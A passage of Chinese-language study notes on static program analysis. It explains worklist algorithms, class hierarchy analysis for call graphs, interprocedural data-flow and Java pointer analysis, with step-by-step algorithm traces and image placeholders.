    • f(y,z) = NAC //val(y)或者val(z)有一个是NAC时
    • f(y,z) = UNDEF //其他情况

是一个Nondistributivity,例子如下

image-20230104123407058

Worklist Algorithm

一个Iterative Algorithm的优化算法

image-20230104174021024

Iterative Algorithm只要变化了一个,其他的都会重新计算,而Worklist Algorithm是只计算当前轮次变化的OUT[B]以及后续的OUT[B],相当于用空间换取时间。

原因就是一个Transfer functionIN[]没有变,那么OUT[]肯定也是没有变。

主要是图中黄色的部分,相比于Iterative Algorithm是有些改变的。

Foundations总结

image-20230104175311848

Iterative algorithmLattice定义、不动点理论、may/must分析、MOPIterative algorithm的异同比较、常量分析、Worklist algorithm

六、Interprocedural Analysis

image-20230114105227045

之前学的都是过程内分析intraprocedural analysis,接下来要学习过程间分析Interprocedural Analysis,即函数调用的相关分析

1.Motivation

如果不进行相关的Interprocedural Analysis,那么当遇到函数调用时,通常解决办法都是safe-approximation,也就是将之判定为一个safe地方的Facts。比如对于Constant Analysis而言,就会函数调用返回的结果判定为NAC,更加安全。

一些定义:

如下所示,在函数之前存在相关的call edges,以及return edges

image-20230104181215325

2.Call Graph Construction

定义

调用图是程序中一个函数调用边call edges集合,比如如下所示,左边为程序,右边即为它的调用图

image-20230105112459293

面向对象语言调用图常见算法

image-20230105112753506

3.Method Calls (Invocations) in Java

JAVA中通常存在三种调用方法,而在JAVA8中还引入了invokedynamic,这个是特殊用途,不讨论

image-20230105113339502

主要是对于Vitual call,一个调用由于传入的对象不同,可能对应不同的方法。这个是实现OO(Object-Oriented)语言中多态polymorphism的关键点,也是静态分析中的难点。

Method Dispatch of Vitual Calls

定义

即程序运行时动态求解Vitual Calls动态函数方法的过程,就叫做Method Dispatch,求解一般需要以下两个要素

  • 传入对象的类型
  • 函数签名,call site不知道啥意思
    • Signature = class type + method name + descriptor
      • descriptor = return type + parameter types

Dispatch Function Defination

依据Method Dispatch定义来确定对应方法定义

  • c:即class,传入对象的类型
  • m:即函数签名

image-20230105115219367

Dispatch是寻找可以调用的函数,那么可以调用的函数一定是要确保该函数是有具体的函数体的,不能是抽象的non-abstract

例子

image-20230105115458209

  • Dispatch(B,A.foo()):先从B中找,找不到就找父类,也就是A,从A中获取到foo函数。
  • Dispathc(C,A.foo()):先从C中找,直接找到,那么即为c中的foo函数。

4.Class Hierarchy Analysis(CHA)

  • 需要一个类的相关继承结构
  • 求解一个vitural call依据于定义类型和传入的对象

Call Resolution of CHA

定义方法Resolve(cs)为具体算法分析实例

image-20230105120933460

其中

  • cs : 当前分析的语句
  • m : 函数签名
  • c^m : m对应的类型

具体分析一下

static call

例子如下

1
2
3
4
5
class C{
static T foo(P p,Q q){....}
}

C.foo(x,y);

可得对应变量含义
$$
\begin{align}
&cs : C.foo(x,y); &//当前需要方法解析语句\
&m : <C: T\ foo(P,Q)> &//函数签名\
\end{align}
$$
直接返回了对应函数签名的m

speciall call

superclass instance methods
1
2
3
4
5
6
class C extends B{
T foo(P p,Q q){
...;
super.foo(p,q);
}
}

可得对应变量含义
$$
\begin{align}
&cs:super.foo(p,q);\
&m:<B: T\ foo(P,Q)>\
&c^m:B
\end{align}
$$
由于是super,所以对应对象类型为B。同时需要注意的是这里不能把super直接替换为B,因为可能B中没有定义foo函数,而是在其父类中定义,如下

image-20230105122718787

Constructors/Private instance mthods

这两个可以放到一起

1
2
3
4
5
6
7
8
Class C extends B{
T foo(P p,Q q){
...;
this.bar();
}
private T bar()
}
C c = new C();

对应变量含义
$$
\begin{align}
&cs:this.bar();\
&m:<C:T\ bar()>\
&c^m:C\
\
&cs:C\ c\ =\ new\ c();\
&m:<>
\end{align}
$$
这个可以直接找到,不细说

vitural call

1
2
3
4
5
class A{
T foo(P p,Q q){....}
}
A a = ...;
a.foo(x,y);

对应变量含义
$$
\begin{align}
&cs:a.foo(x,y);\
&m:<A:\ T\ foo(P,Q)>\
&c:A\
\end{align}
$$
其中关于该算法

image-20230106114548955

需要遍历c的所有直接子类以及间接子类,通过Dispatch进行计算,将计算记过放入T

实际例子

image-20230106114722837

1
2
3
Resolve(c.foo()) = {C.foo()}
Resolve(a.foo()) = {A.foo(),C.foo(),D.foo()}
Resolve(b.foo()) = {A.foo(),C.foo(),D.foo()}

关于Resolve(b.foo())计算结果,前面提到dispatch算法,当在当前类,这里也就是B中没有找到对应函数foo定义,就会去其父类寻找,这里也就是A,所以实际执行进入循环体的类为A,那么其结果就相当于Resovle(a.foo())了。

Features of CHA

Advantage

很快,只考虑声明类型,然后查找继承树。求解过程中忽略数据流和控制流的相关信息。

Disadvantage

不准确,因为忽略了数据流和控制流的相关信息

Algorithm

image-20230113100012796

主要是从Work list中取方法后,需要先判断是否已经reachable了,即是否在RM

例子

image-20230113105835279

  • 首先初始化如下

    image-20230422110307953

  • WL=[A.main()],RM=[],CG=[]

    • WL取出A.main(),不属于RM,则放入RMRM=[A.main()]

    • A.maincall siteA.foo()

    • 求解Resolve(A.foo()),利用之前的提到的Resolve算法,求解得到A.foo(),放入WL中,并且相关边放入CG

    • 结果如下

      image-20230422110340228

  • WL=[A.foo()],RM=[A.main()],CG=[A.main().A.foo()->A.foo()]

    • RM=[A.main(),A.foo()]

    • Resolve(cs of A.foo()) = Resolve(a.bar()) = A.bar()+B.bar()+C.bar()A.foo().a.bar()->[A.bar,B.bar,C.bar()]放入CG

    • WL=[A.bar(),B.bar(),C.bar()]

    • 结果如下

      image-20230422110408853

  • WL=[A.bar(),B.bar(),C.bar()],RM=[A.main(),A.foo()],CG=[A.main().A.foo()->A.foo(),A.foo().a.bar()->{A.bar(),B.bar(),C.bar()}]

    • RM=[A.main(),A.foo(),A.bar()]

    • Resolve(cs of A.bar()) = Resolve(c.bar()) = C.bar()A.bar().c.bar()->C.bar()放入CG

    • WL=[B.bar(),C.bar(),C.bar()]

    • 结果如下

      image-20230422110521314

  • WL=[B.bar(),C.bar(),C.bar()],RM=[A.main(),A.foo(),A.bar()],CG=[A.main().A.foo()->A.foo(),A.foo().a.bar()->{A.bar(),B.bar(),C.bar()},A.bar().c.bar()->C.bar()]

    • RM=[A.main(),A.foo(),A.bar(),B.bar()]

    • Resolve(cs of B.bar()) = Resolve() = []

    • WL=[C.bar,C.bar()]

    • 结果如下

      image-20230422110536692

  • WL=[C.bar(),C.bar()],RM=[A.main(),A.foo(),A.bar(),B.bar()],CG=[...]

    • RM=[A.main(),A.foo(),A.bar(),B.bar(),C.bar()]

    • Resolve(cs of C.bar()) = Resolve(A.foo()) = A.foo()C.bar().A.foo()->A.foo()放入CG

    • WL=[C.bar().A.foo()]

    • 结果如下

      image-20230422110659618

  • WL=[C.bar(),A.foo()],RM=[A.main(),A.foo(),A.bar(),B.bar(),C.bar()],CG=[A.main().A.foo()->A.foo(),A.foo().a.bar()->{A.bar(),B.bar(),C.bar()},A.bar().c.bar()->C.bar(),C.bar().A.foo()->A.foo()]

    • C.bar()RM中,跳过,从WL中移除C.bar()

    • 结果如下

      image-20230422110742581

  • WL=[A.foo()],RM=[A.main(),A.foo(),A.bar(),B.bar(),C.bar()],CG=[...]

    • A.foo()RM中,跳过,从WL中移除A.foo()

    • 结果如下

      image-20230422110813614

  • WL=[],RM=[A.main(),A.foo(),A.bar(),B.bar(),C.bar()],CG=[...]

    • WL为空,算法结束。

    • 最终结果如下

其中CG的表达形式不知道怎么写合适,就只能大概写一下

5.Interprocedural Control-Flow Graph

  • CGF:展示的是方法之间的调用关系
  • ICFG:展示的是整个程序的调用关系
    • ICFG = CFGs + call&return edges
      • call edges : 即调用边,call site到对应函数入口点
      • return edges : 即函数返回点到该函数的被调用点

image-20230113113450334

6.Interprocedural Data-Flow Analysis

其实相对于Intraprocedural Data-Flow Analysis,会多call transfer functionreturn transfer function。即数据进入函数前的转化函数以及回来的时候的转化函数

image-20230113110940851

Interprocedural Constant Propagation

主要是Node transfer,即如下情况,即为一个Node transfer

image-20230113112521557

实例

image-20230113112947040

其中打问号的边叫做call-to-return edge,是用来传递本函数变量的,即该函数内部的变量,即这里的a,如果没有的话,就会导致本函数变量的传播经过调用函数绕一大圈才能回来。如下所示,本函数变量a就需要经过addOne传播才能回来,很影响效率。

image-20230113113112058

注意在传播过程的Node transfer时,需要kill掉返回覆盖的变量,比如这里就是b,这样在后面call-to-return edgereturn edge进行join操作才会正确,如果不kill掉,就容易出现如下结果

image-20230113113906445

没有kill掉时,即从b=ten()这条call-to-return edge流下来的b为7,而从return edge流出来的b为10,依据之前常量传播的Control Flow

1
IN[B] = ⊓p predecessor of B OUT[p]

就会导致b的值为NAC,这是不准确的,其结果应该是被覆盖的那个值。

类比Intraprocedural Constant Propagation

image-20230113124541680

碰到函数调用就会产生NAC,不准确

总结

image-20230113124706083

怎么通过类继承关系来创建调用图、过程间的控制流以及数据流分析的相关概念、过程间的常量分析

七、Pointer Analysis

image-20230114105324445

1.Motivation

在常规的CHA方法中,由于一个方法调用可能指向多个方法,那么在遍历这些方法的时候,返回的值都有可能不同,然后再做join操作时,就有可能出问题。

比如如下的Constant Propagation

image-20230113144912366

由于声明的类型为Number,调用get时有三个子类,那么就会有三个方法需要进行遍历,最后进行join时就会导致X=NAC。但是实际上,其实只会调用到One.get()方法,只会返回1,导致CHA不准确,那么就用到Pointer analysis,更加准确

image-20230113145316011

2.Introduction to Pointer Analysis

指针分析是属于may-analysis,有很多年历史,包括现今指针分析还有很多问题没有被完善解决,所以还是有很多这方面的研究应用

image-20230113145957855

例子

相关的一些表达方式如下,指针分析即一个程序作为输入,通过分析之后,得到一个指向关系表。

image-20230113150547144

应用

应用很多,特别基础

image-20230113150838229

3.Key Factors of Pointer Analysis

指针分析中主要的一些讨论点,问题以及相关的处理方法,这些处理方法都有各自的优缺点,主要关注于分析的准确度precision以及效率efficiency

image-20230113151258381

Heap Abstraction

堆内存相信大家都很熟悉了,而在静态分析里面,由于堆是动态创建的,程序没有跑起来之前,不好确定程序究竟创建了多少个对象,而在有循环或者递归什么的时候,就更多了。

image-20230113152342466

那么为了在静态分析中,确保分析过程能够停止下来,就不能在分析过程创建infinite个对象,就需要一种技术来对它进行抽象限制。

比较直观的一个例子就是把多个相同的对象都抽象成一个对象,如下所示

image-20230113152349767

相关的抽象技术也是很复杂,很多

image-20230113152414219

Allocation-Site Abstraction

这个就是Heap Abstraction中一种技术,Allocation-Site Abstraction创建的抽象技术

image-20230113152536353

比如这里的O2是代表程序中第二行创建对象语句,实际上由于循环有三次,所以会创建三个对象,但是基于Alloction-Site Abstraction,可以将这三个对象都抽象成一个对象O2

由于一个程序中对象创建点肯定是有限的,那么抽象对象也肯定会是有限的,能够terminate

Context sentivity

一个方法被调用时依据传进来的参数不同,肯定也会对应不同的输出,所以针对同一个方法分析时,上下文敏感Context sentivity和上下文不敏感Context insensitive就是两种分析方法了,如下感觉图解很清楚。

image-20230113153450361

会从Context Insentivity开始学习。对JAVA语言来说,Context sentivity提升是很明显的。

Flow Insentivity

之前学习的基本都是Flow Sentivity,即会依照程序的执行顺序,一步一步进行分析。但是Flow Insentivity则不会,它相当于将之揉杂在一起,不管程序的执行顺序。相关例子如下

image-20230113155136287

  • Flow Sentivity : 每一条语句的指向关系map都会随着该语句的执行做出相应的改变,开销比较大,每一点都需要进行维护,速度会慢很多。
  • Flow Insentivity : 相当于把一个变量的所有可能的指向关系map都会全部列出来,不管语句的相关执行顺序,会导致一些精度的缺失。

对于Java而言,现今还没有相关的研究明显证明Flow sentivityFlow Insentivity精度更好,所以现今大多都是针对JAVA的分析都是基于Flow Insentivity ,因为更简单更快。

但是对于C语言而言,Flow sentivity是会更好的。

Analysis Scope

分析的范围,通常是两种,即Whole-Program全程序和Demand-driven需求驱动

image-20230113160401076

  • Whole-Program : 即整个程序所有变量的指向关系都会分析出来。更加简单全面,比较主流。
  • Demand-driven : 即需要哪一部分就分析哪一部分,这里就好比需要分析z.bar(),那就只需要z的指向关系了。相比Whole-Program,有时候其效率其实也差不多,所以大多选择Whole-Program

4.Pointers in Java

关注的指针类型

image-20230114103432918

基本只关注其中两种指针,即local variable,这个其实和Static field差不多。

另一个就是Instance field即类中的成员属性指针,这个和Array element基本归为一类,但是在处理的时候需要对Array element一些抽象,不关注其中的索引,而只关注其保存的指针,如下

image-20230114103639748

将索引抽象成一个,因为在实际的程序中,索引很难判断出来,尤其在循环中,索引大多都是一些变量什么的,所以不好进行判断,那么就抽象成一个就好了。

关注的指针语句

image-20230114104116410

有两个需要特殊说明一下

  • Store : 有时候可能会有很复杂的语句,比如x.f.g.h = y ,但是将之转换为三地址码,就比较简便了

    image-20230114104311457

  • Call : JAVA中存在三种类型的Call,但是我们关注于处理Vitural call的情况,这个比较复杂,这个会处理其他也会处理了。

    aaa

总结

image-20230114104551016

理解指针分析,影响指针分析的几种要素,以及在分析过程中需要处理分析的对象。

八、Pointer Analysis Foundations (I)

image-20230114105245754

相关概念定义

image-20230114105649355

pt就相当于一个mapkey->valuept(p)即变量p指向的对象的集合,比如x = new T(),则pt(x)就代表x指向的对象集合,因为我们用的是Flow Insentivity这个技术,所以是pt(x)是一个集合。

1.Rules

image-20230114111049511

即横线上面的为前提条件premises,当前提条件满足,则可以推导出结论conclusion

Rule : New

无条件得到

image-20230114111610469

Rule : Assign

比如一条语句为x=y,如果premises满足O𝑖 ∈ pt(y),那么即可推导出conclusionO𝑖 ∈ pt(x),如下

image-20230114111313810

即将pt(y)集合中的对象Oi加入到pt(x)这个集合中

Rule : Store

image-20230114111644983

需要理解一个pt(Oi*f)的含义,即某个对象成员指向的对象的合集。

Rule : Load

和前面差不多

image-20230114111859758

总结

image-20230114112036216

其实就是形式化表达了这些语句,方便后续推导

2.How to Implement Pointer Analysis

指针分析关键点就是如果在一个指针发生变化时,如何将变化传递给和该指针有关的其他指针。

使用图来传播指针,传输给该指针的后继。

image-20230114142437257

Pointer Flow Graph(PFG)

概念

  • Nodes

    Pointer = V ⋃ (O × F),即节点n表示一个指针变量,或者说一个抽象对象的一个field

  • Edges

    Pointer × Pointer,某条边x->y,代表x指向的对象pt(x)也**可能may**会流向y指向的对象pt(y)

image-20230114143412980

节点n即相关的变量,边edge即流向关系。

实例

如下图所示,感觉还是挺清楚的

image-20230114144100365

需要注意的是,c.f需要表示成Oi.f才行,才是一个真正的指针。

那么指针分析就变成在指针图PFG上分析指针集传播过程的问题了。

image-20230114150729422

Propagate points-to information on PFG

在上述建图的过程中,其实也涉及到指针传播的相关信息,并不是说在建立PFG时不考虑传播信息。比如说在构建c.f=a时,我们需要先知道的是c的指针流向,即Oi。传播和构建是相辅相成的,动态构建的。

image-20230114152258172

3.Pointer Analysis: Algorithms

image-20230114153245606

其中S即为输入程序语句的合集,PFG就是指针流向图,比较需要关注的就是WL以及其中的数据含义

  • Worklist

    存储需要被处理的pair,其中每个pair形式大概为<n,pts>,代表说pts这个对象集合需要被传播到指针n指向的对象集合pt(n)中。

    比如一个Worklist[<x,{Oi}>,<y,{Oj,Ok}>,<Oj.f,{Ol}...>,表示

    • {Oi}需要传播到pt(x)
    • {Oj,Ok}需要传播到pt(y)
    • {Ol}需要传播到pt(Oj.f)
    • …..

Handling of New and Assign

算法的前部分是用来处理NewAssign

Initialize

首先进行相关的初始化

image-20230114155802247

遍历所有NewAssign语句

  • New语句即将相关pair添加到WL

  • Assign即需要在PFG中添加相关传播关系的边edge

    image-20230114155946021

    • 如果s->t这条边在edge中存在则说明有边了,不需要添加了,否则就添加到PFG
    • 添加完成之后,还需要判断pt(s)是不是空的,如果不是空的则需要将对应pt(s)传播到t指向的对象集中,所以需要将它加入到WL进行后续分析工作

Propagate

在初始化之后,就需要遍历WL进行传播了

image-20230114160853754

  • 首先从WL中取出

  • pts中找到pt(n)中不存在的对象集Δ,因为在pts中存在的对象,在pt(n)中也可能存在,所以需要去掉之后再进行合并操作,避免重复。相关例子如下

    image-20230114161127326

    注:最开始其实所有指针的对象集pt(x)都是空的,那么为什么需要去重呢,这个后面会讲到。应该是在动态的创建PFG过程中,pt(x)会不断更新,也会重复被计算。如果不去重的话,其后继中已经被传播的部分就可能再次被传播,从而做了无用功,影响效率。

  • 然后就是传播Propagate(n,Δ)

    image-20230114161246125

    • 如果pts不为空,就并入到pt(n)中,这个就是实际的传播过去了。
    • 但是传播到pt(n)不够,还需要传播到n可以流向的其他所有节点。所以需要遍历PFG中所有的n->s,将<s,pts>加入到WL中等待后续处理
Differential Propagation

这里就是解释了为什么需要差异传播Differential Propagation去重,即避免已经被传播过的信息再被传播造成无用功。

比如如下情况

image-20230116104011048

假设a先传播,结果如下

image-20230116104038107

那么b再进行传播,此时c就相当于n,那么pts={O1,O3,O5}pt(n)={O1,O2,O3},如果不进行差异传播则过程如下

image-20230116104446528

导致{O1,O3}被重复传播

如果进行差异传播则过程如下

image-20230116104520952

这样已经被传播过的就不会再被进行计算传播了。

不过这里有个前提,即该算法在每次传播的时候已经确保了pt(n)已经被传播给了n的所有后继。

Handling of Store and Load

算法循环的后半部分是用来处理StoreLoad

image-20230116112641178

关于x指向对象相关成员的所有StoreLoad语句都会进行处理,需要遍历所有需要传播的对象集合,即Δ

这里需要注意的是,再添加边时,不一定能够添加上。因为在处理x.f=y时,之前可能已经有了A=x;A.f=y这样的,导致在PFG中其实有了这样一条边,就不用再添加了。这也是在AddEdge中进行是否存在边判断的原因。

实例

image-20230116114337394

首先初始化WL=[]、PFG={}

New处理

首先是New处理

image-20230116114833417

语句1和3有New操作,对应O1O3,添加到WL

image-20230116115029573

Assign处理

然后是Assign处理

image-20230116114849027

语句2和5有Assign操作,进行AddEdge操作

image-20230116114926158

使得PFG结果如下

image-20230116115004261

由于还没进行传播操作,所以这里b对应的pt(b)c对应的pt(c)还是空的。

那么在以上两种初始化操作完成后,结果如下

image-20230116115127433

WL处理

LoadStore是在这一部分进行迭代的

第一次迭代
1
2
3
4
5
6
7
8
9
10
11
12
13
WL = [<b,{O1}>,<c,{O3}>];
n = b;
WL = [<c,{O3}>];
pts = {O3};
Δ = pts - pt(n) = {O3} - {} = {O3};

Propagate(n,Δ):
pts = Δ = {O3};
pt(b) = pt(n) = pts ⋃ pt(n) = {O3} ⋃ {} = {O3};
b->a ∈ PFG;
WL += <a,pts>; => WL = [<c,{O3}>,<a,{O3}>];

关于b的成员没有相关Load和Store,循环结束

结果如下

image-20230116120125591

第二次迭代
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
WL = [<c,{03}>,<a,{O1}>];
n = c;
WL = [<a,{O1}>];
pts = {O3};
Δ = pts - pt(n) = {O3} - {} = {O3};

Propagate(n,Δ):
pts = Δ = {O3};
pt(c) = pt(n) = pts ⋃ pt(n) = {O3} ⋃ {} = {O3};
c->d ∈ PFG;
WL += <d,pts>; => WL = [<a,{O1}>,<d,{O3}>];

Load and Store:
c.f存在相关语句
O3 ∈ Δ = {O3};
c.f = a:
a->c.f = a->O3.f ∉ PFG;
PFG += a->O3.f;
pt(a)={};
c.f = d:
d->c.f = d->O3.f ∉ PFG;
PFG += d->O3.f;
pt(d)={};

结果如下

image-20230116121324230

第三次迭代
1
2
3
4
5
6
7
8
9
10
11
12
13
WL = [<a,{O1}>,<d,{O3}>];
n = a;
WL = [<d,{O3}>];
pts = {O1};
Δ = pts - pt(n) = {O1} - {} = {O1};

Propagate(n,Δ):
pts = Δ = {O1};
pt(a) = pt(n) = pts ⋃ pt(n) = {O1} ⋃ {} = {O1};
a->O3.f ∈ PFG;
WL += <O3.f,pts>; => WL = [<d,{O3}>,<O3.f,{O1}>];

关于a的成员没有相关Load和Store,循环结束

结果如下

image-20230116123211552

第四次迭代
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
WL = [<d,{O3}>,<O3.f,{O1}>];
n = d;
WL = [<O3.f,{O1}>];
pts = {O3};
Δ = pts - pt(n) = {O3} - {} = {O3};

Propagate(n,Δ):
pts = Δ = {O3};
pt(d) = pt(n) = pts ⋃ pt(n) = {O3} ⋃ {} = {O3};
d->O3.f ∈ PFG;
WL += <O3.f,pts>; => WL = [<O3.f,{O1}>,<O3.f,{O3}>];

Load and Store:
d.f存在相关语句
O3 ∈ Δ = {O3};
e = d.f:
d.f->e = O3.f->e ∉ PFG;
PFG += O3.f->e;
pt(O3.f) = {};

结果如下

image-20230116123300983

第五次迭代
1
2
3
4
5
6
7
8
9
10
11
12
13
WL = [<O3.f,{O1}>,<O3.f,{O3}>];
n = O3.f;
WL = [<O3.f,{O3}>];
pts = {O1};
Δ = pts - pt(n) = {O1} - {} = {O1};

Propagate(n,Δ):
pts = Δ = {O1};
pt(O3.f) = pt(n) = pts ⋃ pt(n) = {O1} ⋃ {} = {O1};
O3.f->e ∈ PFG;
WL += <e,pts>; => WL = [<O3.f,{O3}>,<e,{O1}>];

关于O3.f的成员没有相关Load和Store,循环结束

结果如下

image-20230116140630003

第六次迭代
1
2
3
4
5
6
7
8
9
10
11
12
13
WL = [<O3.f,{O3}>,<e,{O1}>];
n = O3.f;
WL = [<e,{O1}>];
pts = {O3};
Δ = pts - pt(n) = {O3} - {O1} = {O3};

Propagate(n,Δ):
pts = Δ = {O3};
pt(O3.f) = pt(n) = pts ⋃ pt(n) = {O3} ⋃ {O1} = {O1,O3};
O3.f->e ∈ PFG;
WL += <e,pts>; => WL = [<e,{O1}>,<e,{O3}>];

关于O3.f的成员没有相关Load和Store,循环结束

结果如下

image-20230116140900865

第七次迭代
1
2
3
4
5
6
7
8
9
10
11
12
WL = [<e,{O1}>,<e,{O3}>];
n = e;
WL = [<e,{O3}>];
pts = {O1};
Δ = pts - pt(n) = {O1} - {} = {O1};

Propagate(n,Δ):
pts = Δ = {O1};
pt(e) = pt(n) = pts ⋃ pt(n) = {O1} ⋃ {} = {O1};
e没有后继

关于e的成员没有相关Load和Store,循环结束
第八次迭代

和第七次类似

1
2
3
4
5
6
7
8
9
10
11
12
WL = [<e,{O3}>];
n = e;
WL = [];
pts = {O3};
Δ = pts - pt(n) = {O3} - {O1} = {O3};

Propagate(n,Δ):
pts = Δ = {O3};
pt(e) = pt(n) = pts ⋃ pt(n) = {O3} ⋃ {O1} = {O1,O3};
e没有后继

关于e的成员没有相关Load和Store,循环结束

WL为空,算法结束,最终结果为

image-20230116141524281

总结

image-20230116142223691

理解指针分析的规则,PFG,以及对应的算法

九、Pointer Analysis Foundations (II)

4.Pointer Analysis with Method Calls

结合之前的CHA和指针分析,来做过程间的指针分析

image-20230116153358145

在指针分析的过程中做call graph,即on-the-fly call graph construction

指针分析更加准确,在做过程间的分析时就会使得call graph做的更好,因为不用再依据声明的对象来寻找方法,而是直接通过指针指向的对象来获取方法,更加准确。

call graph做的越好,其虚假边就会更少,从而指针分析就会更加准确。这两者是互相成就。

只会分析可达方法,不可达方法不进行指针分析,提升精度和效率。

Rule : Call

image-20230116161005808

符号含义:

  • Dispatch(Oi,k) : 和之前一样,通过传入对象指针和函数签名寻找函数,本类找不到找父类
  • M_this : 函数m中的this变量
  • M_pj : 函数m中的第j个参数
  • M_ret : 函数M的返回值

即相关的传递指针
$$
\begin{align}
&O_i\in pt(x),m=Dispatch(O_i,k)\ &=>&\ O_i\in pt(m_{this})&(传递this指针,不用在PFG连边)\
&O_u\in pt(a_j),1\leqslant j\leqslant n\ &=>&\ O_u\in pt(m_{pj}),1\leqslant j\leqslant n&(传递参数指针,需要在PFG连边)\
&O_v\in pt(m_{ret}) &=>&\ O_v\in pt(r)&(传递ret指针,需要在PFG连边)\
\end{align}
$$
需要注意的是this传递的时候是不用在PFG中进行连边处理的,因为如果连边处理的话,那么pt(x)包含的所有对象都会流入到不同的类中,情形如下,就会多出无效的对象要处理,浪费资源。

image-20230116175017004

Algorithms

相关算法

image-20230116182119855

相关概念已经解释很清楚了

AddReachable(𝑚)

程序最开始、以及新的call graph边被添加时都会调用到,该方法的功能其实就是对于一个方法中所有可达语句进行相关的初始化。

可以看到最开始进入的方法是m^entry,借助是否发现新方法来对WL以及PFG进行更新。

对于最开始调用,即m^entry作为新方法传入时。和之前差不多,只是添加了一些关于是否可达的语句进来,用来进行NewAssign相关对象指针初始化、WLRM的初始化、以及PFG的初始化。

而对于后续发现新方法,都是进行针对新方法的一些指针分析初始化,类似的。

image-20230116182315115

注:新方法的初始化是不能对LoadStore以及Call进行处理的,因为这些都需要依赖于NewAssign

ProcessCall(𝑥, O𝑖)

上述初始化之后的后续部分都差不多,只是在大循环中多了一个ProcessCall进行新方法的发现添加。

image-20230227111848832

针对某个变量的WL的处理,都需要对所有可reachable的函数进行处理传递

Output

得到相关的指针集(Points-to Relations (pt))以及调用图(Call Graph)

实例

image-20230227144343229

初始化

首先是初始化,经过AddReachable(m_entry)

image-20230227144513373

得到如下结果

1
2
3
4
5
RM = {A.main()}
WL = [<a,{O3}>,<b,{O4}>]
由于没有x=y之类的语句,没有调用到AddEdge
CG = {}
PFG = {}
WL处理
第一次迭代
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Processing = <a,{O3}>;
WL = [<b,{O4}>];
RM = {A.main()};
CG = {};
PFG = {};
n = a;
pts = {O3};
Δ = pts - pt(n) = {O3} - {} = {O3};

Propagate(n,Δ):
pts = Δ = {O3};
pt(a) = pt(n) = pts ⋃ pt(n) = {O3} ⋃ {} = {O3};
PFG = {};

关于a的成员没有相关Load和Store以及call操作,循环结束

结果如下

image-20230227145905255

第二次迭代
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Processing = <b,{O4}>;
WL = [];
RM = {A.main()};
CG = {};
PFG = {...};
n = b;
pts = {O4};
Δ = pts - pt(n) = {O4} - {} = {O4};

Propagate(n,Δ):
pts = Δ = {O4};
pt(b) = pt(n) = pts ⋃ pt(n) = {O4} ⋃ {} = {O4};
PFG没有关于b->x的流向

关于a的成员没有相关Load和Store

ProcessCall(x,Oi):
m = B.foo(A);
WL += <B.foo/this,{O4}>;
CG += {5->B.foo(A)};
AddReachable(m):
RM += {B.foo(A)};
WL += <r,O11>;
没有关于r的Load操作,退出函数
AddEdge:
PFG += {a->y};
PFG += {r->c};

最终结果如下:

image-20230227151348799

第三次迭代
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Processing = <B.foo/this,{O4}>;
WL = [<r,{O11}>,<y,O3>];
RM = {A.main(),B.foo(A)};
CG = {5->B.foo(A)};
PFG = {...};
n = B.foo/this;
pts = {O4};
Δ = pts - pt(n) = {O4} - {} = {O4};

Propagate(n,Δ):
pts = Δ = {O4};
pt(B.foo/this) = pt(n) = pts ⋃ pt(n) = {O4} ⋃ {} = {O4};
PFG没有关于B.foo/this->x的流向

关于B.foo/this的成员没有相关Load和Store以及call操作,循环结束

最终结果如下

image-20230227152241402

第四次迭代
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Processing = <r,{O11}>;
WL = [<y,O3>];
RM = {A.main(),B.foo(A)};
CG = {5->B.foo(A)};
PFG = {...};
n = r;
pts = {O11};
Δ = pts - pt(n) = {O11} - {} = {O11};

Propagate(n,Δ):
pts = Δ = {O11};
pt(r) = pt(n) = pts ⋃ pt(r) = {O11} ⋃ {} = {O11};
WL += <c,{O11}>;

关于c的成员没有相关Load和Store以及call操作,循环结束

结果如下:

image-20230227152605132

第五次迭代
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Processing = <y,O3>;
WL = [<c,{O11}>];
RM = {A.main(),B.foo(A)};
CG = {5->B.foo(A)};
PFG = {...};
n = y;
pts = {O3};
Δ = pts - pt(n) = {O3} - {} = {O3};

Propagate(n,Δ):
pts = Δ = {O3};
pt(y) = pt(n) = pts ⋃ pt(y) = {O3} ⋃ {} = {O3};
PFG没有关于y->x的流向

关于y的成员没有相关Load和Store以及call操作,循环结束

结果如下:

image-20230227152843432

第六次迭代
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Processing = <c,O11>;
WL = [];
RM = {A.main(),B.foo(A)};
CG = {5->B.foo(A)};
PFG = {...};
n = c;
pts = {O11};
Δ = pts - pt(n) = {O11} - {} = {O11};

Propagate(n,Δ):
pts = Δ = {O11};
pt(c) = pt(n) = pts ⋃ pt(c) = {O11} ⋃ {} = {O11};
PFG没有关于c->x的流向

关于c的成员没有相关Load和Store以及call操作,循环结束

结果如下

image-20230227153003163

至此整个算法结束,得到最终结果CGPFG

image-20230227153105750

总结

image-20230227154718912

理解对于方法调用的指针分析规则,理解过程间的指针分析算法,以及两者相互依赖的情况。

十、Pointer Analysis Context Sensitivity (I)

Problem of Context-Insensitive Pointer Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void main() {
Number n1, n2, x, y;
n1 = new One(); // O1
n2 = new Two(); // O2
x = id(n1);
y = id(n2);
int i = x.get();
}
Number id(Number n) {
return n;
}
interface Number {
int get(); }
class One implements Number {
public int get() { return 1; }}
class Two implements Number {
public int get() { return 2; }}
  • Context-Insensitive:如果利用之前学到的指针分析进行分析的话,就会导致对于id函数的返回值n,其会包含两个对象,即{O1,O2}。从而导致n->x,y的流向中,会将{O1,O2}传递给x,y,导致x,y也包含两个对象,如下所示

    image-20230227161326592

    那么在后续的调用中,int i = x.get();这代码进行常量传播分析时,就会导致i = NAC,这是错误的结果,不准确。

  • Context sensitivity:利用上下文敏感进行分析的话,将每一次的函数调用分为不同的情况进行分析,这样就可以得到如下精确的PFG

    image-20230227161537640

    这样进行常量传播分析时就能得到精确的结果了。

1.Introduction

Imprecision of Context Insensitivity (C.I.)

image-20230227162348110

依据之前的例子也可以看出来,一个函数每一次调用时,其上下文,数据流等可能会不同,那么其结果也可能会不同。而不敏感的分析中,这些所有的结果都会混合到一起,即混合到该函数的返回变量中,这样就会导致混合的数据流传播时污染了其他的数据流,导致虚假的一些信息。

Context Sensitivity (C.S.)

call-site sensitivity (call-string)

image-20230227163406069

